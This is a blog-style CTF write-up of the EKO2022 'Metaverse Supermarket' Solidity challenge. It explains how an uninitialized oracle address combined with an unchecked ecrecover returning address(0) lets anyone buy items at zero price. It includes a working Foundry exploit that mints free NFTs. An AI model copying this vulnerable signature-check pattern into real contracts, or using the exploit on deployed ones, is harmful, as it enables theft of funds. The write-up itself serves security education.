EKO2022 Enter the metaverse CTF Challenge 2 — Metaverse Supermarket

StErMi
9 min readMar 1, 2023
EKO2022 Enter the metaverse

This is Part 2 of the series “Let’s play EKO2022 Enter the metaverse CTF”

EKO2022 Enter the metaverse is a collection of challenges made for the EKOparty 2022 submitted by some gigabrain hackers; @Br0niclΞ, @nicobevi.eth, @matta, @tinchoabbate, @adriro, @bengalaQ, @chiin, @Rotciv, @Bahurum and @0x4non.

This is a simple experiment of the Proof of Hack Protocol. It’s a mix between classical blockchain challenges, and new ones, it’s permissionless, this page will curate some of them.
After you break each challenge, you can claim a soulbound NFT on polygon.

Challenge #2 — Metaverse Supermarket

We are all living in the Inflation Metaverse, a digital world dominated by the INFLA token. Stability has become a scarce resource and even going to the store is a painful experience: we need to rely on oracles that sign off-chain data that lasts a couple of blocks because updating prices on-chain would be complete madness.
You are out of INFLAs and you are starving, can you defeat the system?

Challenge url: Metaverse Supermarket
Challenge author:
adriro

The attacker end goal

Our goal is to be able to mint tons of Meal (well, at least 10 according to what I can see in the isComplete checks of the ChallengeMetaverseSupermarketFactory 😄). It won't be easy because each meal costs 1e6 tokens (1000000) and only owns 10 of them 😐.

Study the contracts

Challenge Factory Contract

This part is important to be able to understand

  • What has been deployed
  • Which parameters
  • What contracts could we interact with?
  • What the challenge, check to see if we have solved it

Deployment

By looking at the ChallengeMetaverseSupermarketFactory we see that the deploy function just takes the _player address and returns the InflaStore instance as the only value we can directly manipulate

function deploy(address _player) external payable override returns (address[] memory ret) {
require(msg.value == 0, "dont send ether");
address _challenge = address(new InflaStore(_player));
ret = new address[](1);
ret[0] = _challenge;
_challengePlayer[_challenge] = _player;
}

Completion checks

In the isComplete function of the factory, it checks that the player was able to mint and own at least 10 Meal's.

function isComplete(address[] calldata _challenges) external view override returns (bool) {
return IERC721(address(InflaStore(_challenges[0]).meal())).balanceOf(_challengePlayer[_challenges[0]]) >= 10;
}

Infla.sol

This contract represents the ERC20 token used to buy Meal (what we eat in the metaverse, apparently). It's a pretty standard ERC20 token based on the Solmate implementation.

When the contract is deployed, it mints amount of wei to the player address.

Meal.sol

Also this contract seems to be pretty standard. It’s a normal ERC721 token, based on the Solmate implementation.

The safeMint function is protected and can be executed only by the _owner of the contract. It just mints a Meal NFT and sends it to the to address.

One thing that we can note is that it uses the _safeMint function that could lead to some re-entrancy attacks (it always depends on how it's used by the caller)

InflaStoreEIP712.sol

This contract inherit from EIP712 contract (from OpenZeppelin). The contract implements the EIP-712: Typed structured data hashing and signing EIP, and will be used by the InflaStore contract to get the hash of a OraclePrice struct.

Nothing special to see here

InflaStore.sol

The contract inherit from InflaStoreEIP712 to offer support to the EIP712 standard.

Let’s look at the variables and the constructor of the contract

Meal public immutable meal;
Infla public immutable infla;
address private owner;
address private oracle;
uint256 public constant MEAL_PRICE = 1e6;
uint256 public constant BLOCK_RANGE = 10;
constructor(address player) EIP712("InflaStore", "1.0") {
meal = new Meal();
infla = new Infla(player, 10);
owner = msg.sender;
}

From the state variables, we can see that it stores an immutable reference to both the meal NFT contract and the infla ERC20 contract. The Infla tokens are used by the end user to purchase the meals.

Then we have the owner and the oracle reference. Each meal will cost 1e6 wei of Infla to purchase one meal.

In the constructor of the contract it initializes the EIP712 inherited contract, creates a new Meal contract, a new Infla contract (it will mint 10 wei of Infla to the player) and set the owner equal to the deployer.

Have you spotted something odd? Well, the oracle address has not been initialized... Let's keep going and look at all the other functions.

setOracle allows the owner to update the oracle address

function setOracle(address _oracle) external {
require(owner == msg.sender, "!owner");
oracle = _oracle;
}

_mintMeal is a private function used by the buy and buyUsingOracle functions. It transfers the current price to buy a Meal to this contract and mint the Meal to the buyer address.

function _mintMeal(address buyer, uint256 price) private {
infla.transferFrom(buyer, address(this), price);
meal.safeMint(buyer);
}

The safeMint function, as we saw, could lead to a re-entrancy attack, but in this case, I would say that we should be safe, given that we have already transferred the user's balance.

Now let’s look at the buy function

function buy() external {
_mintMeal(msg.sender, MEAL_PRICE);
}

it can be called by anyone and allows the user to buy a Meal for 1e6 Infla wei.

Then we have a more interesting function… buyUsingOracle allows anyone to purchase a Meal with the price that should have been signed by the oracle. That price can be any value, so you could end up by purchasing a Meal for more than the default price (I doubt that you would like to overpay for it, right?) or for a lower one. Even for zero!

function buyUsingOracle(OraclePrice calldata oraclePrice, Signature calldata signature) external {
_validateOraclePrice(oraclePrice, signature);
_mintMeal(msg.sender, oraclePrice.price);
}

But before being able to do this special purchase, it must pass the _validateOraclePrice validation step that verifies that the oraclePrice has been properly signed by the oracle and that the time (block.number) reference of the price is not too old. Prices that are older than 10 days ago will not be accepted!

function _validateOraclePrice(OraclePrice calldata oraclePrice, Signature calldata signature) private view {
require(block.number - oraclePrice.blockNumber < BLOCK_RANGE, "price too old!");
bytes32 oracleHash = _hashOraclePrice(oraclePrice);
address recovered = _recover(oracleHash, signature.v, signature.r, signature.s);
require(recovered == oracle, "not oracle!");
}

After checking that the price is not too old, the function verifies that the oracle was the one signing the price. You can't trust anyone, right?

The first thing that the contract do is to re-recreate the hash of the message. After that, it will try to recover from the hash and the v, r, and s signature parameter who was the signer. If the signer is equal to the oracle everything is fine, and we can proceed to use the new price for the mint; otherwise it will revert the transaction.

I think that you can already see where’s the problem here, right? But first I want to show you another one. The contract is not validating in any way the order of the prices. If a signature is valid, they just use the price without checking for which time period it was right.

Just to make an example. The oracle sign a price for DAY 3 and another one for DAY 4. Both prices are valid for this function logic and will pass the validation until they "expire". But as you can understand, only the newest one should be possible to be used; otherwise you could be able to use a lower price that is older compared to the latest price that has been used to mint the last Meal!

Ok, now back on the track. Let’s see how the _recover function is made

function _recover(bytes32 digest, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) {
require(v == 27 || v == 28, "invalid v!");
return ecrecover(digest, v, r, s);
}

Let’s do a brief explanation about the ecrecover function. From the Solidity Docs about the ecrecover we know that

ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) returns (address) is a native function used to recover the address associated with the public key from elliptic curve signature or return zero on error. The function parameters correspond to ECDSA values of the signature:

- r = first 32 bytes of signature
- s = second 32 bytes of signature
- v = final 1 byte of signature

Under the explanation, there’s also a huge warning:

If you use ecrecover, be aware that a valid signature can be turned into a different valid signature without requiring knowledge of the corresponding private key. In the Homestead hard fork, this issue was fixed for transaction signatures (see EIP-2), but the ecrecover function remained unchanged.

This is usually not a problem unless you require signatures to be unique or use them to identify items. OpenZeppelin have a ECDSA helper library that you can use as a wrapper for ecrecover without this issue.

I think that it is safe to say that the InflaStore contract is a lot bugged. The only check that is done is that v is valid, but after that, they only check that oracle == ecrecover(digest, v, r, s).

They are ignoring the fact that, as the documentation says, ecrecover could return address(0) in case of an error!

Now, if you remember both the ChallengeMetaverseSupermarketFactory.deploy function and the InflaStore constructor do not initialize the oracle contract...

This means that right now oracle == address(0) and every call to _validateOraclePrice that simply fails to validate the signature will make the function pass!

To complete the challenge, we just need to call the buyUsingOracle with a zero price signed by something that will make the ecrecover fail to retrieve the signer address!

Let’s go! Free meals for everyone!!!

Solution code

Now that we know what we have to do, we can simply write down the solution code and execute it

Here’s the code of our custom smart contract

contract MetaverseSupermarketTest is EkoBaseTest {
InflaStore store;
function preSetupHook() internal override {
super.preSetupHook();
/* IMPLEMENT YOUR PRE SETUP */
// Init the challenge
factory = new ChallengeMetaverseSupermarketFactory();
challenges = factory.deploy(player);
store = InflaStore(challenges[0]);
}
function runExploit() internal override {
// When a new `InflaStore` is created, the contract does not initialize the `oracle` address
// the `ChallengeMetaverseSupermarketFactory` factory never call the `setOracle` method updating the oracle
// So `oracle` remain with the default value that is `address(0)`
// Now if you have followed all my previous CTF blog posts you should already know how ECDSA works
// Inside the `_validateOraclePrice` function of `InflaStore` (used to validate the oracle price signature)
// they checks two things
// 1) the `v` value must be equal to 27 or 28 (checked internally by `_recover` for signature malleability)
// 2) the `signer` of the message must be equal to the `oracle`
// The problem is that `ecrecover` (an EVM precompiled function) will not cover all the security checks
// you should do as a smart contract developer. The only role of that function is to return
// the return the address from the given signature by calculating a recovery function of ECDSA.
// Basically, given a signature (v, r, s) and a signed message it returns who has signed it.
// When the function fails to do that (malformed hash, invalid signature and so on)
// it will return `address(0)` that should be treated as an error and revert immediately
// To solve the challenge, we just need to be able to set the oracle price of the Meal
// to be equal to zero and execute some free mint (well will still pay for gas but still...)
// Create an Oracle Price using the current block number in order to be able to execute the transaction
// without reverting (`_validateOraclePrice` reverts if the price is too old)
// and set the oracle price to zero (free mint yay!)
OraclePrice memory oraclePrice = OraclePrice({
blockNumber: block.number,
price: 0
});
// Now we build a signature that just need to pass the `v` test (it can be only 27 and 28)
// And fail all the `ecrecover` internal test to make it returns `address(0)`
Signature memory signature = Signature({
v: 27,
r: bytes32(""),
s: bytes32("")
});
// Now that we have prepared the ground we can just simply start minting our free Meals!
// Note that we could mint those in an infinite loop because now the price is zero!
for( uint i = 0; i < 20; i++ ) {
vm.prank(player);
store.buyUsingOracle(oraclePrice, signature);
}
}
}

You can read the full solution of the challenge opening MetaverseSupermarket.t.sol.

Further reading

Disclaimer

All Solidity code, practices and patterns in this repository are DAMN VULNERABLE and for educational purposes only.

I do not give any warranties and will not be liable for any loss incurred through any use of this codebase.

DO NOT USE IN PRODUCTION.

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StErMi

#web3 dev + auditor | @SpearbitDAO security researcher, @yAcademyDAO resident auditor, @developer_dao #459, @TheSecureum bootcamp-0, @code4rena warden